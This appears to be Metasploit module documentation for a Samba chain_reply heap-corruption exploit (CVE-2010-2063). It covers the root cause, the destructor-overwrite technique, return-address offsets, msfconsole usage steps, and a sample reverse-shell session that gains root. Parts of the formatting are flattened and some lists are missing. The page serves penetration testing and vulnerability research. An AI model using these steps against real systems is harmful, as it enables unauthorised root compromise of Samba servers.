documentation/modules/exploit/linux/samba/chain_reply.md
This module exploits a heap-based memory corruption vulnerability in Samba versions
prior to 3.3.13. The flaw exists in the SMB1 packet chaining logic, specifically within
the chain_reply() function, where attacker-controlled offsets are used without proper
bounds checking.
By crafting a malicious chained SMB response packet with an invalid smb_off2 value,
an attacker can corrupt heap memory and overwrite sensitive metadata. The exploit
leverages this condition to overwrite a talloc chunk destructor function pointer,
resulting in arbitrary code execution.
This module targets 32-bit Linux systems without NX memory protection. Due to Samba’s default forking behavior, exploitation attempts can be repeated indefinitely, enabling brute-force techniques to achieve reliable execution.
Samba versions < 3.3.13 (3.1.x through 3.3.12).
Vulnerable versions can be obtained from:
Key requirements:
talloc chunk destructor overwriteAffected distributions (historical):
msfconsoleuse exploit/linux/samba/chain_replyshow targets → Select 0 (Linux Debian5) or 1 (Debugging)set RHOSTS <target-ip>set RPORT 139exploitmsf6 > use exploit/linux/samba/chain_reply msf6 exploit(chain_reply) > set RHOSTS 192.168.1.100 msf6 exploit(chain_reply) > set RPORT 139 msf6 exploit(chain_reply) > show targets msf6 exploit(chain_reply) > set target 0 msf6 exploit(chain_reply) > exploit
[] Started reverse TCP handler on 192.168.1.10:4444 [] Trying return address 0x081ed5f2... [] Trying return address 0x081ed8f2... [] Trying return address 0x081edbF2... [*] Command shell session 1 opened (192.168.1.10:4444 -> 192.168.1.100:54321)
$ id uid=0(root) gid=0(root) groups=0(root) $ uname -a Linux debian5 2.6.26-2-686 #1 SMP 2009-11-11 21:39:45 +0100 i686 GNU/Linux
| Name | Current | Required | Description |
|---|---|---|---|
| RHOSTS | - | yes | Target IP |
| RPORT | 139 | yes | NetBIOS port (139), NOT 445 |
| SMBUser | - | no | Username (anonymous by default) |
The module supports two targets:
| Id | Name | Offset2 | Bruteforce Range |
|---|---|---|---|
| 0 | Linux (Debian5 3.2.5-4lenny6) | 0x1fec | 0x081ed5f2 (jmp ecx in smbd) |
| 1 | Debugging Target | 0x1fec | 0xAABBCCDD |
CVE-2010-2063 (OSVDB-65518) is a buffer overflow in SMB1 packet chaining that affects Samba versions prior to 3.3.13.
Root Cause:
chain_reply() function fails to properly validate the smb_off2 offset parametersmb_wct (0x24) corrupts the input buffer headerCode Path: SMB packet received → chain_reply() → smb_off2 validated? NO → memory corruption in talloc chunk → destructor overwrite
The exploit uses a multi-stage approach to achieve code execution:
smb_off2 = 0x1fec triggers the vulnerabilitytc->destructor function pointer in talloc metadataSamba 3.0.x uses a much larger InputBuffer (approximately 0x20441 bytes). Although corruption is possible, the affected chunk is not reused before process termination, making reliable exploitation infeasible.
Indicators of exploitation attempts may include:
smbd child process crashes